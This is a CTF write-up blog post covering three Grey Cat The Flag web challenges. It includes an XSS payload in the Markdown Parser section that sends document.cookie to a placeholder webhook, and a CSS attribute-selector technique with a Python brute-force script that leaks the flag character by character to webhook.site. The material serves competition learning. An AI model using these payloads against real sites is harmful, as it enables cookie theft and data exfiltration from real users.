Intro
Hewwo evewy-nyan~ āØāØ
On dis week, me had da chance to pway with my team M53 in da annual Grey Cat The Flag CTF. We awmost sowved aww da web chawwenges except fow one. Ovewaww, da chawwenges wewe quite fun and me enjoyed it (bias, me onwy do web :3)
Markdown Parser
For this challenge, we were given a website where we could input our own markdown and it will render it for us. We were also given source code to inspect.
Checking the source code, this seems like a common XSS challenge where you have to pop XSS and try to steal the flag from the cookie.
//admin.js
try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG || 'flag{fake_flag}',
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
Letās get deeper into the source code and see if thereās anything we could find to pop XSS.
Further inspection the code, we found that the user input is being appended directly into HTML tag code block inside parseMarkdown()
function.
// index.js
// Here it's being sent as b64
const base64Markdown = req.query.markdown;
try {
const markdown = atob(base64Markdown);
console.log(markdown)
const html = parseMarkdown(markdown);
console.log(html)
res.render('view', { content: html });
} catch (error) {
console.error(error);
res.status(500).send('Error parsing markdown');
}
//markdown.js, parseMarkdown(), vulnerable code
const lines = markdownText.split('\n');
if (line.startsWith('```')) {
language = line.substring(3).trim();
inCodeBlock = true;
htmlOutput += '<pre><code class="language-' + language + '">';
}
Solution
We could easily escape out of the tag and run our own <script> tag, put our payload and steal the cookie.
The final payload should look like this:
```"><script>location='https://webhookhere/c='+document.cookie</script><code class="
Send your link with the payload above to the feedback bot, and..
Flag : grey{m4rkd0wn_th1s_fl4g}
Greyctf Survey
For this challenge, we were given a website where you could set a slider and submit a vote. Source code were also given for this challenge.
Looking at the source code, the challenge here is to make the score > 1
if (vote < 1 && vote > -1) {
score += parseInt(vote);
if (score > 1) {
score = -0.42069;
return res.status(200).json({
"error": false,
"msg": config.flag,
});
}
return res.status(200).json({
"error": false,
"data": score,
"msg": "Vote submitted successfully"
});
}
But we couldnāt easily set the score to 2 or 1.5 directly, since it will trigger (vote < 1 && vote > -1)
Solution
How Javascript works is that, by default it will automatically convert really big or really small number into scientific notation.
Letās say if you try to use 0.0000002 in JS, it will automatically be converted to 2e-7 as below.
The flaw here is that this value 2e-7 is being passed into parseInt()
score += parseInt(vote);
When doing this, parseInt()
will ignore the āe-7ā, thus leaving only 2.
To get the flag, itās pretty straightforward. Just send a vote with the value of 0.0000002.
Flag: grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}
Beautiful styles
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>My Beautiful Site</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
crossorigin="anonymous"
/>
<link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
</head>
<body>
<div class="container">
<h1 id="title">Welcome to my beautiful site</h1>
<p id="sub-header">
Here is some content that I want to share with you. An example can be
this flag:
</p>
<input id="flag" value="{{ flag }}" />
</div>
<div class="container mt-4">
<form action="/judge/{{submit_id}}" method="post">
<input type="submit" value="Submit for judging">
</form>
</div>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"
></script>
</body>
</html>
For this challenge, we were given a website where you could input your own CSS into the page. No full source code given for the one above. Thereās a /judge
endpoint, which points out this could be a client-side web challenge.
As we could see above, the flag is stored inside the HTML input tag of id="flag"
.
Solution
Knowing that we could input our own CSS, it seems pretty straightforward that the solution to this is to exfiltrate the flag char by char using CSS.
Hereās a basic snippet on how we could exfiltrate the data of a certain HTML content.
input[id="flag"][value^="grey{"] {
background-image: url('http://yourwebhere.com/?grey{');
}
With this, we could easily write a script and do a bruteforce char by char and get the full flag!
import requests
import string
import time
base_url = "http://challs.nusgreyhats.org:33339"
submit_url = f"{base_url}/submit"
judge_url = f"{base_url}/judge/"
webhook_api_url = "https://webhook.site/token/eb27b25f-8461-41f1-8ec3-179df722c958/requests"
flag_prefix = "grey{X5S34RCH1fY0UC4NF1ND1T"
characters = string.ascii_letters + string.digits + "}_!?@#~"
session = requests.Session()
def submit_and_judge(flag_attempt):
css_payload = f"input[id=\"flag\"][value^=\"{flag_attempt}\"] {{background-image: url('https://webhook.site/eb27b25f-8461-41f1-8ec3-179df722c958/?{flag_attempt}');}}"
response = session.post(submit_url, data={'css_value': css_payload}, allow_redirects=False)
print(response.text)
if response.status_code == 302:
submission_id = response.headers['location'].split('/')[-1]
print(submission_id)
if session.post(judge_url + submission_id).status_code == 200:
return True
return False
def check_webhook(flag_attempt):
response = requests.get(webhook_api_url)
if response.status_code == 200:
return any(flag_attempt in req['query'] for req in response.json()['data'])
return False
current_flag = flag_prefix
while not current_flag.endswith('}'):
for char in characters:
test_flag = current_flag + char
print(test_flag)
if submit_and_judge(test_flag):
time.sleep(1)
if check_webhook(test_flag):
current_flag = test_flag
break
else:
print("Failed to find next character.")
break
print(f"Final Flag: {current_flag}")
Flag: grey{X5S34RCH1fY0UC4NF1ND1T}
Edit: After the CTF has ended, Iāve read some of the solutions. Interestingly, you could actually send multiple CSS snippet above in one CSS to speed up the leaking process! š š
Thanks for reading my write-up, and also thanks for the fun challenges!